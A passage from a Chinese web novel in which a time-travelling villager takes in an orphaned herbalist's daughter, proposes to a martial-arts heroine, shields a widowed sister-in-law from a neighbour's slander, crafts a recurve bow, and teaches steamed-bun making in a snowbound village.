【夫君怎么又带回来一个姐姐?照这样下去,雪儿什么时候才能为李家传宗接代啊?】
【这女子究竟是谁?看李逸的神情,似乎对她格外在意。】
两道心声在脑海中响起,李逸收回放在陈玉竹手腕上探脉的手,转头看向二人无奈地笑了笑,拍了拍炕沿:“雪儿,心月,你们过来坐,我把事情的来龙去脉跟你们细说……”
外屋的于巧倩也按捺不住好奇,一边看着火,让火苗舔舐着药罐底部,一边侧耳倾听里屋的动静,药香渐渐随着蒸汽弥漫开来。
李逸从如何与陈掌柜和陈玉竹相识,讲到他们因何平白遭了无妄之灾,最后是陈掌柜舍身护女的经过。
白雪儿听后脸上的小情绪瞬间消散了,知晓她上次染风寒生病,正是陈掌柜亲自配的药,如果不是陈掌柜那日心善,她可能因为风寒死掉。
不管是心善的陈掌柜,还是此刻昏迷不醒的陈玉竹,都是实打实的好人。
再看陈玉竹眉头紧蹙在昏睡中还呢喃着爹,白雪儿眼圈微微发红,共情回想起自家的变故。
秦心月也轻轻叹了口气,眼底多了几分同情,她甚至觉得,李逸这么做是理所应当的,若是他没有这份心善,当初也不会将昏迷在草丛中的自己救回来,任凭她自生自灭。
“夫君……这玉竹姐姐醒了之后,该怎么办啊?”白雪儿抬头看向李逸,语气里满是担忧。
李逸牵住白雪儿微凉的手,又望向门口探着身子的于巧倩,语气格外认真:
“既然陈掌柜把玉竹托付给我,我就不能辜负他的信任。只要玉竹愿意,从今往后,她就和你们一样,都是我的媳妇。你们以后要好好相处,互相照应。”
于巧倩明事理,最先点头表态:“夫君做得对,君子当一诺千金。况且陈掌柜对雪儿有恩,我们万万不能辜负这份托付。”
白雪儿也用力点头,小脸上满是坚定:“是啊夫君,你放心!只要玉竹姐姐愿意,咱们就是一家人,一起为李家传宗接代!”
【这样也好,也算是因祸得福了……】
秦心月的轻叹声在李逸脑海中响起。
这几日的相处,再加上偶尔捕捉到的她的心声,李逸早已确定秦心月对他有那方面的意思。她虽有着江湖儿女的洒脱,终究还是个未出阁的姑娘,这种事不好主动开口,心里难免有些忧虑。
“没想到穿越过来,我倒成了香饽饽啊!”
李逸在心里自嘲一笑,随即伸出另一只手,看向秦心月语气转柔:
“心月,如果你不嫌弃我只是个乡野农户,我想娶你为妻,往后咱们就是真正的一家人,一起用心把日子过好。”
如此直白的表白让秦心月毫无防备,脸颊腾地一下就红透了,平日里冷艳的眉眼间竟染上了几分小女儿的娇羞,手足无措地绞着衣袖。
“这.....”
“秦姐姐,你快答应呀!雪儿早就看出来你也钟意夫君了!”白雪儿在一旁起哄,笑得眉眼弯弯。
看着秦心月窘迫的模样,李逸忽然生出逗弄她的心思,故意轻叹一声:
“唉……看来是我唐突了,秦姑娘不必为难,就当我没说过这话吧......”
“不!”
秦心月顿时急了,快步上前一把抓住李逸的手掌,掌心的温度滚烫
“我……我愿意!我是怕你嫌弃我的身份,怕我以后会连累你和雪儿倩儿....”
李逸忍不住咧嘴一笑。
秦心月这才反应过来,自己被他故意逗弄了,脸颊红得更甚像傍晚烧红的晚霞,嗔怪地瞪了李逸一眼,却没有松开紧握的手。
“夫君真坏,故意逗秦姐姐,你看她都害羞了!”白雪儿笑得直拍手。
于巧倩走进来,轻轻拉住秦心月的另一只手,温声道:“这样就再好不过了,咱们才是真正的一家人,这几日看你总是有些拘谨,现在总算不用再顾虑了。”
秦心月重重点头,心里甜丝丝的,她现在是真正属于这个家了。
三女上演姐妹情深,李逸心里又犯了难......
之前是两个媳妇,如今一下子就要变成四个!
幸好盘火炕时特意往外屋扩充了半米,否则五个人挤在炕上根本睡不开,等来年天暖,扩建房子的事是迫在眉睫了。
更让李逸困扰的是身体的隐疾!
以前他一门心思扑在解决钱粮的问题上,没太在意这方面。
可近来白雪儿的意图越来越明显了,有句话怎么说来着,白雪儿之心路人皆知!
她是每天晚上都偷偷溜进李逸的被窝,这让李逸不得不正视自己的身体问题,若是一直这样,传宗接代就成了空谈。
原以为身体经过多次强化,体质属性都达到4点了,这方面的问题总能有所改善,可如今看来,依旧毫无起色。
现在又多了两位妻子,这个隐疾必须尽快想办法解决!
药熬好后,李逸小心翼翼地扶起陈玉竹,用勺子舀起药汁,吹凉后一勺一勺喂进她嘴里。
陈玉竹只短暂清醒了片刻,含糊地说了几句,便又沉沉睡了过去,额头上的温度似乎更烫了。
次日清晨,李逸一睁眼就听到窗外呼啸的寒风,推开屋门一看,雪已经下了半指深,鹅毛般的雪片还在密集地飘落,看这势头,怕是还要下一整天。
“心月,来搭把手!咱们把屋顶的雪清理一下,雪太大了,得提防屋顶被积雪压塌。”李逸扛着梯子走到院子里,对着屋里喊道。
“嗯!”秦心月很快就走了出来,身上穿着厚实的棉袄,脸上带着浅浅的笑意,她格外喜欢李逸这样亲昵地喊她,让她觉得两人的关系愈发亲近。
两人踩着梯子,用木铲小心翼翼地将屋顶的积雪铲下来,雪块簌簌落在院子里,很快堆起了一小座雪堆。
清理完屋顶,又给大骡子添了些草料,两人便在院子里练起了《气合拳》。拳脚挥动间,寒气被驱散,身体渐渐暖和起来。
白雪儿和于巧倩站在屋门口看着,白雪儿笑着对身旁的于巧倩说:
“姐姐,你不觉得夫君和秦姐姐打拳的样子很般配吗?”
于巧倩莞尔一笑:“我觉得雪儿和夫君也很般配呢,一个能做好吃的,一个爱吃....”
白雪儿歪着脑袋想了想,笑得更开心了:“那最好啦!我们所有人都和夫君般配!”
练完拳,李逸打开院门扫雪,就看到门口蹲着一个身影,头上和肩上落满了雪,正是王赖子的那个傻婆娘陈氏。
“心月,快带她进屋暖和一下!”
李逸原本打算扛着梯子去张绣娘家帮忙清理积雪,此刻也改变了主意,跟着进了屋,他打开一个大包裹,里面全是王金石送的旧衣物,大多是冬衣,用料都是上等的绸布,里面塞的棉花厚实又蓬松。
寻常农户穿的都是比麻袋好不了多少的粗麻布,又硬又不保暖,而这些绸布衣服不仅面料光滑密实,颜色也鲜亮,穿在身上既舒服又美观。
“心月,雪儿,倩儿,你们快进来!”
李逸把三人喊进里屋,看着满包裹精致厚实的冬衣,三人眼睛都亮了,脸上露出难掩的欣喜!
“你们挑自己喜欢又合身的换上,把身上的旧衣服换下来给陈氏穿,她身上的衣服太
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单薄了,根本挡不住这寒风。”李逸吩咐道。
三人兴高采烈地选了衣服换上,原本就清秀的容貌配上体面的衣物,更显靓丽动人。
李逸看得有些发愣,三女察觉到他的目光,脸上都泛起红晕,心里暗暗有些小得意。
李逸抱着秦心月换下来的旧冬衣,扛上梯子,朝着张绣娘家走去。
大荒村有两个张寡妇,大张寡妇生得粗粝壮实,性格也像男人一样泼辣。
小张寡妇张绣娘则身形苗条,又年轻,若是生在大户人家,定是个端庄漂亮的夫人。
大张寡妇平日里就很看不上张绣娘这个小张寡妇,日子都苦点倒也罢了,可自从李逸频繁帮衬张绣娘后,大张寡妇心里就越发不平衡了,同样是寡妇,凭什么张绣娘就能得到特殊照顾!
看到李逸扛着梯子往张绣娘家走,大张寡妇从自家院子里冲了出来,伸手拦住他的去路,叉着腰阴阳怪气地说:
“呦……又去张绣娘家啊?李三,我看你干脆让她过门算了!还能白捡两个孩子,多好啊!”
李逸眉头紧锁,村里谁都知道大张寡妇嘴最刻薄,人又是非,他语气不满地回道:
“张绣娘是我本家嫂嫂,初四哥走了,我照顾自家的嫂子,有什么不妥吗?”
大张寡妇翻了个白眼,撇着嘴冷笑道:
“呦呦呦……说得比唱得还好听!谁知道你安的什么心啊?以前你和王赖子不是总想着往那小**的被窝里钻吗?咋得?现在终于的手吃到腥味儿了?”
大张寡妇说得唾沫横飞,抻着脖子故意提高嗓门:
“以前装得跟贞洁烈妇似的,还瞧不起我们这些人,现在尝到男人的滋味了,一天见不着就想得慌吧?最看不上这种装可怜的小**!不要脸!”
“你闭嘴!”
李逸面色一沉,抬手就给了大张寡妇一巴掌。啪的一声脆响,大张寡妇被打得愣在原地,脸上瞬间浮现出清晰的指印,一时没反应过来。
回过神后,她张牙舞爪地就要扑上来抓李逸的脸,却被李逸冰冷的眼神死死盯住。那眼神里的寒意让她心头一颤,脚步顿时僵在原地,不敢再往前挪动半步。
“我警告你,以后不准再乱嚼舌根!”李逸的声音冷得像冰:“我嫂子是个好女人,你连她的一根手指都比不上!”
话音刚落,他就看到张绣娘站在自家门口,眼圈红红的,正怔怔地望着他。
李逸立刻收起冷冽的神色,换上温和的笑容,扬声喊道:“嫂子,雪太大了,兄弟来帮你清理屋顶的积雪啊!”
“唉!快进屋暖和暖和,外面多冷啊!”
张绣娘连忙应道,脸上努力挤出笑容,眼角却还带着泪痕。
看着李逸走进张绣娘家的院子,大张寡妇气得浑身发抖,狠狠啐了一口:
“呸!不要脸的东西!狗男女!初四真是倒了八辈子霉!娶了这么个不知廉耻的东西!”
说完,她气呼呼地转身回了自己家,砰的一声将院门摔得震天响。
进了院子,张绣娘眼眶红红地看着李逸,声音带着哽咽:
“三兄弟,谢谢你……刚才的话,我都听见了。”
刚才李逸和大张寡妇的争执,她听得一清二楚。
李逸在外人面前这般维护她,让她心里又暖又酸。换做平时,她定会又气又委屈,可此刻有李逸为她撑腰,她忽然觉得别人的闲言碎语根本不算什么,重要的是李逸对她的看法。
“姐!三叔来了!”
豆子从屋里跑了出来,小脸上满是欢喜,头上还戴着李逸送的皮帽子,毛茸茸的格外可爱。他跑到李逸身边,拉着他的衣角,兴奋地说:
“三叔你看,我和姐姐把院子里的雪扫了一小半了!”
李逸摸了摸他的头,笑着说:“豆子真能干!以后你就家里的男子汉!”
“好耶!”
豆子欢呼一声,又拉着刚跑出来的大丫一起,叽叽喳喳地围在李逸身边,院子里瞬间充满了孩子们的欢声笑语,驱散了刚才的阴霾。
张绣娘站在一旁看着,脸上也露出了久违的舒心的笑容......
第四十五章:你嫉妒我有人疼?
“嫂子,这个给你!”
李逸将一套叠得整整齐齐的冬衣塞进张绣娘怀里,衣服带着他身上的体温,暖烘烘的。
张绣娘低下头,手指轻轻摩挲着衣料,触感密实是她从未穿过的料子,连忙问道:“这是啥?”
“一套旧冬衣,你身上这件太单薄了,天这么冷,冻出病来可就麻烦了。”
李逸指了指她身上打了好几块补丁的粗麻布衣服,平时还好在冬日里没有什么保暖效果。
张绣娘捏了捏衣服,棉花厚实得能感觉到蓬松的弹性,指尖还残留着李逸的体温,心里一阵发烫。
“哎呀……快留着给弟妹们穿吧,我这衣服还能凑活穿!”她连忙想把衣服递回去。
李逸故意板起脸,装作生气的样子:“唉?嫂子!你再这么客气,就是把我当外人了!要是这样,以后我可不来帮你了啊!”
“别别别!我要!我要!”
张绣娘连忙把冬衣紧紧抱在怀里,生怕他真的反悔,抬头看向李逸的眼神里,满是温柔与感激像含着一汪温水。
“去吧嫂子,换上试试合不合身,要是不合适,回头我再给你拿一身。”李逸见她收下,脸上重新露出笑容。
“哎……”张绣娘应了一声抱着衣服快步进屋,换好衣服,她还特意用手拢了拢额前散乱的头发,对着水盆照了照,脸颊微微发烫。
李逸立好梯子爬上屋顶清理积雪,木铲挥动将成片的积雪从房顶推下,等他把屋顶积雪清理干净,张绣娘也换好衣服走了出来,双手紧张地绞着衣角,微低着头,耳根泛红,还有些不好意思。
“三兄弟……你看我穿着咋样?”她小声问道。
李逸认真地上下打量着她,目光落在衣袖和裤腿上,确认尺寸合适才笑着夸赞:
“嗯……挺合身!嫂子长得漂亮,穿啥都好看!”
张绣娘的脸腾地一下红透了,连忙低下头盯着自己的鞋尖,不敢看李逸的眼睛,嘴角却忍不住微微上扬。
“我先回去了嫂子,有啥事你尽管找我,千万别不好意思开口!”李逸扛起梯子,转身往外走。
张绣娘送他到院门口,一直望着他的背影消失在漫天风雪中,还恋恋不舍地站在原地。身上的冬衣暖烘烘的,热气顺着毛孔钻进心里驱散了连日来的寒意。
“呦呦呦……看你那魂不守舍的模样,魂儿都跟着李三跑了吧?”
大张寡妇早就躲在自家院墙上窥探,见李逸走远,立刻叉着腰走过来,语气里满是讥讽。
以前听到这些刻薄话,张绣娘总是默默扭头就走,把委屈咽在肚子里。可这次,她却挺直了腰杆,笑着看向大张寡妇,眼神里带着几分得意:
“你嫉妒了?嫉妒我有人疼?”
张绣娘故意挺了挺胸膛,拍了拍身上的冬衣:“没办法,我家三兄弟就是对我好,送粟米送肉不算,还特意给我送了这么厚实的冬衣,里面的棉花软乎乎的,可比你那破麻布衣服暖和多了!”
大张寡妇气得咬牙切齿,脸色青一阵白一阵,指着张绣娘骂道:“你个不要脸的**!初四娶了你这么个婆娘,真是倒了八辈子霉!”
张绣娘得意地扬起下巴,不再理会她,转身走进院子,砰的一声关上院门。
院外大张寡妇还在气急败坏地咒骂,可她却毫不在意,脸上的笑意越发明媚。
李逸回到家,刚推开门就闻到一股淡淡的药香。炕上的陈玉竹已经醒了,脸色依旧苍白,却比之前精神了些,眼睛也有了些许神采。
“李大哥……”她轻声唤道,声音还有些沙哑。
李逸快步走过去,伸手摸了摸她的额头,温热的触感让他松了口气:“退热了就好,身子还是有点虚弱,得多休息。”
白雪儿端着一碗温热的粟米粥走过来,关切地问道:“玉竹姐姐,要不要吃点东西垫垫肚子?”
陈玉竹轻轻摇了摇头,眼神里满是疲惫,感受着身下温热的火炕,她的视线扫过白雪儿娇小可爱的脸,于巧倩温柔恬静的脸,秦心月冷傲英气的脸。
最后,她的目光落在李逸身上,带着一丝希冀问道:“李大哥……我爹他……真的没有别的办法了吗?”
虽是听从安排从大牢里出来,可她的心始终悬在父亲身上。父女俩相依为命这么多年,一想到可能要失去唯一的亲人,陈玉竹的眼眶就忍不住泛红。
这种失去亲人的痛苦,白雪儿、于巧倩和秦心月都深有体会,三人不约而同地沉默下来,屋里的气氛瞬间变得沉重。
李逸轻轻叹了口气,一时间不知道该如何回答。他不忍心欺骗陈玉竹,给她虚假的希望,因为万一希望破灭,以她现在虚弱的身体,怕是承受不住这样的打击,说不定会大病一场。
可也无法狠心说出实情,看着她泛红的眼眶,心里格外不是滋味。
“我知道了……”陈玉竹见他沉默,便已明白答案,缓缓别过头,眼泪无声地滑落,浸湿了枕头。
李逸走到外屋,坐在锅灶边,看着里面跳动的火苗,心情复杂到了极点。
穿越到大荒村以来,这是他第一次体会到如此深深的无力感,之前不管是解决温饱,还是制作工具、打猎赚钱,都能按照他的计划一步步推进,再大的困难也能想办法克服。
可这次遇到的事情,让他清楚地意识到,即便他带着现代的记忆和技能,也有很多事情是无力改变的。而且他有种预感,这样的事情以后或许还会越来越多。
“难道每次遇到这种事,都只能坐以待毙吗?”
李逸喃喃自语,手指无意识地摩挲着手中的木柴。如果这事发生在自己亲人身上,他又该怎么办?
正想得入神,一只微凉的手掌轻轻搭在他的肩膀上。李逸扭头一看,不知何时,秦心月已经站在他身后。他伸手握住微凉的手掌,指尖传来粗糙的触感。
秦心月的手本该是纤细好看的,却因为常年握剑练功,变得骨节略大,掌心还有一层厚厚的老茧,那是皮肤反复摩擦兵器留下的痕迹。
“夫……夫君……你在想什么?”秦心月第一次喊出这个称呼,耳根瞬间泛红。
李逸既已说要娶她,虽无夫妻之实,名分却已定下。两人都没有父母亲人,一切从简就好,顺应彼此的心意便足够了。
“练功一定很辛苦吧?”李逸摩挲着她掌心的老茧,声音温柔。
秦心月在李逸身边蹲下,试探着将头枕在他的肩膀上,这肩膀不算宽厚,却给了她久违的踏实感,让她紧绷的神经渐渐放松下来。
“我五岁就开始习武,刚开始天天哭,爹爹就用小树枝抽我的屁股,后来哭着哭着就习惯了。”
她轻轻笑了笑,语气里带着几分释然:“现在想想,还得谢谢爹爹当年的严苛。要是没有这身武艺,他战败之后,我恐怕就活不到今天了。”
这些心里话,她从未对任何人说过。如今靠着李逸的肩头,竟自然而然地说了出来,那种内心安定的感觉,让她格外眷恋。
王权争霸,江湖恩仇,这些年她真的太累了....
“夫君……玉竹妹妹的事,真的没有回转的余地了吗?”秦心月忽然抬起头,眼神里带着一丝希冀。
李逸轻叹一声:“除非能抓到真正的**,哪怕只抓到几个,县衙也能对上面有个交代,陈掌柜或许还有一线生机。”
秦心月沉默了片刻,又问道:“若是被抓的是雪儿、倩儿,或者是我……你会怎么做?”
李逸的目光陡然变得坚定,握着她的手紧了紧:“拼了我这条命,也会把你们救出来!大不了....我们死在一起!”
秦心月感受到他话语里的决绝,不似半分虚假,脸上露出浅浅的笑容,眼底满是暖意:
“能遇到你这样的夫君,是我们的万幸。”顿了顿,她继续说道:“夫君,若是玉竹妹妹过门,便也是一家人了。”
李逸神色一怔,瞬间明白了她的意思:
“你是说……”
秦心月微微点头,眼神里带着一丝决然:
“眼下还有七日时限,与其坐以待毙,不如拼一把。我的
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武艺虽不算顶尖,但对付几个山匪,应该还能应付。”
李逸眉头紧锁,心里快速盘算着其中的利害:“此事凶险,不能鲁莽,得从长计议。胆大心细才能成事,我们先看看县衙那边的进展,再做打算吧.....”
秦心月微笑着点头,她选的夫君,远比表面看起来要沉稳得多。“好,全听夫君的!”
秦心月的一番话,像一剂强心针,让李逸从之前的无力感中挣脱出来。事情虽棘手,但也绝对不能坐以待毙。
屋外的鹅毛大雪还在继续,从山岭方向吹来的寒风呼啸怒吼,卷着白雪漫天飞舞,天地间一片苍茫。
李逸端了一盆温水出去给大骡子添了水,又抓了一把黄豆撒进食槽里,黄豆能补充体力,以备不时之需。
随后,他走进院角的木棚,开始挑选木料,脑海里,一张清晰的图纸渐渐成型。
他要制作一张反曲**。
弓箭的威力和射程,取决于弓身材料和弓弦弹性,这两者直接决定了弓的拉合力。
拉合力越大,弓箭的力道就越强,有效杀伤距离也会随之提升。在这个时代当材料无法进一步优化时,通常会选择增加弓的长度来提升威力,但人体臂长有限,过长的弓不仅费力,操作也极不方便,实战中并不实用。
想要在实战中发挥更大作用,弓箭必须兼顾射程、威力和便携性。
综合这些需求,李逸第一个想到的就是反曲**。这种弓通过特殊的组合结构和转轮设计,既能省力,又能最大限度提升拉力,同时复合结构还能控制体积,做到轻便易携。
确定了设计思路,李逸开始盘点手头的材料。
之前猎到的野鹿和野猪的筋,刚好可以用来制作弓弦,**最核心的旋转轮,条件有限无法用金属打造,但他可以打磨鹿角的根部替代,需要的粘合剂,则能用鹿角熬制的胶来充当。
他蹲在雪地上,用树枝在雪层上勾勒出弓的结构草图,升级的木工技能,足够支撑他完成这把**的制作。材料问题也都能找到替代方案,现在只差实际操作。
反复确认了设计细节,李逸开始着手准备....
他先用刨子将选好的硬木刨平,按照草图切割出弓身的雏形,动作精准而熟练。
秦心月站在一旁看着,虽然看不懂他在做什么,但从他坚定的眼神里,能看出他心中已有明确的目标。
这场大雪又下了一天一夜才终于停下,积雪厚得能没过脚面,踩上去咯吱作响。
陈玉竹的风寒之症虽已稳定,心里的郁结却未消散,即便身体渐渐恢复,也没什么胃口。白雪儿喂她喝粥,她只吃了几口就摇着头说饱了。
“夫君,不如今天蒸些馒头吧?玉竹姐姐或许会喜欢吃。”白雪儿一早便提议道,眼神里满是担忧。新奇的吃食,说不定能勾起她的食欲。
陈氏在木棚里给粟米脱壳,身上穿着旧冬衣暖和得很,干活也格外卖力。
昨天一天她就脱了二十多斤精米,虽然话依旧不多,但眼神不再像之前那般木讷无神,偶尔还会和白雪儿说句话。
李逸的效率极高,只用了一天时间,就将**的木头部件全部制作完成,还特意做了两套备用。不过这些部件还不能直接使用,需要经过烤火烘干,去除水分,再涂上一层树油防潮防腐。
最精细的活是用鹿角磨制旋转轮,需要将坚硬的鹿角打磨成特定的弧度,还要在边缘刻出卡槽,容不得半点差错。而最耗时的则是用鹿筋制作弓弦,需要将鹿筋反复捶打、拉伸,去除杂质,再编织成结实的弦,这个过程至少需要两天时间。
李逸坐在木棚里,专注地打磨着鹿角,刨花和鹿角碎屑落在脚边,形成一圈深色的印记。
秦心月端来一碗热水递给他,看着他认真的侧脸,嘴角含笑。
阳光透过积雪折射进来,照在李逸的脸上,也照在他手中渐渐成型的弓部件上,泛着淡淡的光泽,七日的时限越来越近,虽然结果不可预料,但还是要尽力一试!
第四十六章:想让三叔当我爹
弓弦的制作比较繁琐,这点急不得,需等上两天,否则韧性不够不说,这天寒地冻的可能一拉就断了。
白雪儿提议给陈玉竹蒸馒头,倒给李逸提了个醒。
他先前答应过给王金石一个日入千钱的买卖,虽说走时王金石只字未提,可李逸向来言而有信。更何况这次陈玉竹出狱的事,全靠王金石在中间奔走斡旋。
经此事也能看出王金石是个值得信赖、可以深交的人。即便对方不提,他也得信守承诺。
而这馒头就是他这买卖的关键!
“雪儿!你去喊嫂嫂,让她带着大丫和豆子过来一趟!”
李逸正忙着给石磨清理残留的麸皮,抬头冲屋里喊了一声。
“来啦夫君!”
白雪儿立刻从屋里跑出来,麻利地戴好李逸给她做的兔皮小帽,帽檐上的绒毛蹭得她鼻尖发痒。她转头冲秦心月招手:“心月姐姐,你随我一起去吧!”
李逸昨晚特意给秦心月和张绣娘各缝了顶皮帽,秦心月选了块柔软的灰兔皮,衬得她眉眼更显清冷,张绣娘的则用了黄棕色的狍子皮,厚实耐用,还能和秦心月的区分开。
秦心月下意识朝李逸望了一眼,李逸连忙笑道:“去吧心月,你来了这么久,也没在村里好好逛过,正好趁这机会看看雪景。”
秦心月轻轻点头,任由白雪儿挎着她的胳膊往外走。
没多久,院外就传来了说笑声,还夹杂着两个孩子清脆的嬉闹声。
“三叔!我们来啦!”
大丫和豆子手牵手冲进院子,冻得通红的小脸上满是欢喜,头上戴着李逸送的皮帽子,鼻尖挂着细密的汗珠。他们离着老远就开始喊,小短腿在雪地里迈得飞快,溅起细碎的雪沫子。
李逸看着两个蹦蹦跳跳的孩子,脸上露出温和的笑容,伸手帮豆子拉了拉帽子。这一幕刚好被随后进来的张绣娘看到,忍不住又是心头一暖,李逸看孩子的眼神,是藏不住的真心喜欢。
“三兄弟,我来了!有啥活尽管吩咐!”
张绣娘拢了拢耳边被风吹乱的碎发,笑着问道。她穿李逸送的旧冬衣,比上次见面时又精神了不少,眼角的细纹里都透着暖意。
“嫂子腰伤好了,气色变好了,人都显得年轻漂亮了!”李逸笑着打趣。
张绣娘脸颊微红,有些不好意思地摆手:“瞧你说的,嫂子都这把年纪了,哪能跟雪儿她们这些小姑娘比。”
“对了嫂子,还记得我上次跟你说的新活计吗?比脱粟米轻松,赚的还多。”李逸话锋一转,切入正题。
张绣娘连忙点头:“记得记得!三兄弟你让**啥我就干啥,你一句话的事”
“成!那你过来,我教你蒸馒头,肯定一学就会!”
因为要做的活计不少,屋内空间又有限,李逸索性把院角的木棚向外扩充了半丈。
他用上山时顺手捡的石块当地基,混合着做土坯剩下的黄土和麦秸秆,在棚里砌了个简易锅灶。灶口对着棚外,烟能顺顺利利排出去,灶身则嵌在棚内,这样一来,既能在外面做饭,烧火时还能当火炉取暖,一举两得。
李逸先教张绣娘使用石磨。他往磨眼里舀了小半碗小麦,扶着磨柄示范:“推的时候要稳,别太用力,不然磨出来的面粗细不均。”
一边说一边转动磨盘,雪白的细面顺着磨盘缝隙簌簌落下,堆在下方的陶盆里。
随后李逸又拿出细藤蔓编的筛子,将磨好的面粉反复过筛,把其中的杂质和未磨碎的颗粒筛出去:“自家吃倒不必如此讲究,但要拿到县城卖给大户人家,做得精细,才能卖出好价钱。”
张绣娘学得格外认真,李逸也极有耐心,从扶磨柄的姿势到添料的时机,一一细致指导,没过多久,她就能独自熟练操作石磨了,磨出的面粉细腻均匀,丝毫不比李逸差。
磨好面粉后,李逸又教她加水和面,水温要温不烫手,加水量要循序渐进,揉面时力道要匀,直到面团变得光滑有弹性,再揉入提前养好的老面,揉成一个硕大的面团,用湿布盖好静置。
为了培育更多老面,李逸特意又做了两个新木桶,将原来的老面分成三份,每份都掺入新面粉揉匀,密封好搁在炕头继续发酵。
只要妥善保存不发霉变质,这老面能养几年、十几年,甚至几十年。发酵的年头越久,蒸出来的馒头风味越独特,发酵效果也越好。
豆子和大丫搬来小板凳,坐在一旁好奇地看着娘和三叔挨在一起和面揉面,小脸上满是开心。
“豆子,你咋这么高兴呀?”白雪儿凑过去,戳了戳他鼓起来的腮帮子。
豆子偷偷趴到白雪儿耳边,声音压得极低:“小婶婶,你可别告诉别人!我最喜欢三叔了,他要是我爹就好啦!这样就能天天吃好吃的,还能让他教我打猎。”
白雪儿听后,鼓着小嘴皱起眉头,掰着手指不知道在琢磨什么,八成又在为给李家传宗接代的事犯愁。
一旁的陈氏正埋头给粟米脱壳,木桩撞击石臼的咚咚声有一搭没一搭。她的目光时不时落在豆子和大丫身上,眼神里满是怅然。
若是她的孩子们没被卖掉,如今也该长这么大了......
跟着李逸学蒸馒头,张绣娘才知道这新奇吃食的制作竟如此繁琐。今天和面格外多,两人分工合作,揉面、排气、分剂子、塑形,忙了大半天才做好,足足装满了三笼屉,细数下来竟有七十五个馒头。将馒头放在炕头二次醒发后,就到了最后一步,把笼屉架在锅上开始蒸制。
张绣娘擦了擦额头的薄汗,望着冒着热气的笼屉,心里竟隐隐生出几分期待。
她这辈子除了种地,从没接触过这样的营生,一想到以后能靠做馒头赚钱,让孩子们吃饱穿暖,就浑身是劲。
“嫂子,腰还疼吗?要是累了就歇会儿。”李逸关切地问道。
张绣娘轻轻摇头,脸上满是感激:“不疼了,多亏了三兄弟你给我按摩,没有你我可能就真的瘫了。”
李逸让豆子和大丫帮忙看着灶火,叮嘱他们火别太旺,见火苗窜高了就往灶里添块湿柴压一压,随后便进屋准备炒菜。
今天人多,他正好把新培育的豆芽拿出来给大家尝尝鲜,这些豆芽他放在特制的木槽里培育,槽底铺了麻布,还特意叮嘱白雪儿每天按时浇两次温水。
白雪儿一直好奇这木槽里藏着什么,可李逸故意卖关子,她也只能按捺住好奇心照做。
李逸掀开木槽上的麻布,看着下面长势喜人的黄豆芽,眼睛瞬间亮了。
嫩白透亮的芽身顶着嫩黄的豆瓣,还挂着晶莹的水珠,掐一下能挤出清甜的汁水,闻着有股淡淡的豆香。
稍作思索,李逸决定做两大盘豆芽炒肉丝,眼下调味料单一,豆芽炒得太素就没了滋味,在这缺衣少食的年代,还是荤油和肉吃着更香。
从地窖里取出冻得硬邦邦的狍子肉,用温水泡了一刻钟化开,剔除筋膜后切成细细的肉丝,码在陶碗里备用,豆芽简单冲洗干净,沥干水分,放在木盆里控着水,就等馒头蒸好后下锅。
白雪儿他们都在院外的木棚里守着蒸馒头的锅,屋里只剩下于巧倩和躺在炕上的陈玉竹。
“夫君,这是什么呀?看着真新鲜!”
于巧倩看到李逸手里的豆芽,好奇地凑过来,指尖轻轻碰了碰芽身,冰凉的触感让她缩了缩手。
“这是豆芽,用黄豆生出来的蔬菜,多吃对身体好,清热解腻。”
李逸指着豆芽上的豆瓣,耐心解释,他又端着豆芽走到炕边给陈玉竹看:“玉竹姑娘,你看这豆芽,等下炒了给你尝尝,清爽可口,说不定能开开胃。”
陈玉竹勉强挤出一丝笑容,眼神却没什么光彩,随后便收回视线,继续望着棚顶发呆,显然还在惦记着父亲的事情。
“夫君!夫君!馒头是不是蒸好啦?我都闻到香味了!”白雪儿的声音从外面传来,带着难掩的兴奋,还夹杂着豆子和大丫的欢呼。
李逸出去查看,揭开笼屉一角,看到馒头个个圆鼓鼓的,用手指轻轻一按能快速回弹,便知已经熟透。
将灶膛里还在燃烧的木柴夹出来,丢到院中的雪堆里,滋啦一声雪水瞬间将火苗浇灭,冒出缕缕白烟。
李逸返回屋里开始炒菜,先往灶膛里添了些干透的松针和干草,松针易燃,很快就燃起熊熊大火,橘红色的火苗舔着锅底,将铁锅烤得发烫。
等火势稳定后,李逸从陶罐里挖出一大块乳白色的动物油脂,这是他用从野猪身上片下的肥炼的猪油,凝固后像块白玉。
把油块丢进锅里,油块顺着锅沿慢慢滑下,遇热渐渐融化发出滋滋的轻响,在锅底铺开一层油亮的薄膜,还散发出淡淡的油脂香。
李逸用自制的木铲将油脂均匀抹遍整个锅底,等锅底微微冒烟、油脂泛起细小的油花时,他抓了一小把豆豉丢进锅里。
豆豉遇热立刻爆开,浓郁的酱香瞬间弥漫
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开来,引得屋外的白雪儿探头探脑。李逸快速翻炒几下,待豆豉炒出焦香,立刻将切好的肉丝倒入锅中,滋啦一声响,热气裹挟着肉香瞬间升腾而起,直冲屋顶。
热油与肉丝中的水分激烈碰撞,发出密集的滋滋声,冻肉肉丝在高温下迅速化开,颜色从暗红渐渐变成浅红。李逸手腕用力,木铲在锅中快速翻搅,确保每一根肉丝都受热均匀,还时不时用铲子将结块的肉丝打散。他特意多炒了片刻,尽量将肥肉里的油脂煸炒出来,这样吃起来既香又不腻。
紧接着,他将控好水的豆芽一并倒入锅中,嫩黄的豆瓣混着嫩白的芽身,落入金黄的肉丝和热油中,又是一阵滋啦声。
豆芽水分含量极高,炒得太久就会蔫掉,既影响品相又口感不佳,李逸手中的木铲翻得更快了,豆芽在锅中不断翻滚,吸收着肉香和豆豉的酱香,颜色也从嫩白变成了略带微黄的透亮色。他迅速从盐罐里捏了一小撮粗盐撒进去,盐粒落在热锅里瞬间化开,融入菜中。待豆芽渗出少许清亮的菜汤,刚好没过锅底,他立刻关火,将菜盛进两个粗瓷大碗里,碗沿还冒着热气,香气顺着碗口往外溢。
张绣娘上次来李逸家时,家里还只有于巧倩和白雪儿两个姑娘。
这次来,不仅多了气质清冷的秦心月,炕上还躺着个面色苍白的陌生女子,心里难免有些惊讶,李逸简单解释了一句,说打算明年多种些地,便又去县衙申领了田地。
先前想到李逸家只有两个媳妇,张绣娘还顾虑来往不便,如今见他家添了人口,连陈氏也在这儿帮忙干活,心里的那点顾虑顿时烟消云散了。
笼屉被彻底掀开,滚烫的蒸汽瞬间弥漫开来,浓郁的麦香混杂着发酵后的微甜,很快飘散在整个院子里。这次的馒头因为反复过筛,比上次更加光滑圆润,模样着实喜人,让人都不忍心下口。
张绣娘看着自己亲手参与制作的馒头,满心欢喜,起初她还担心学不会,如今看到一个个饱满的馒头,所有顾虑都烟消云散了。
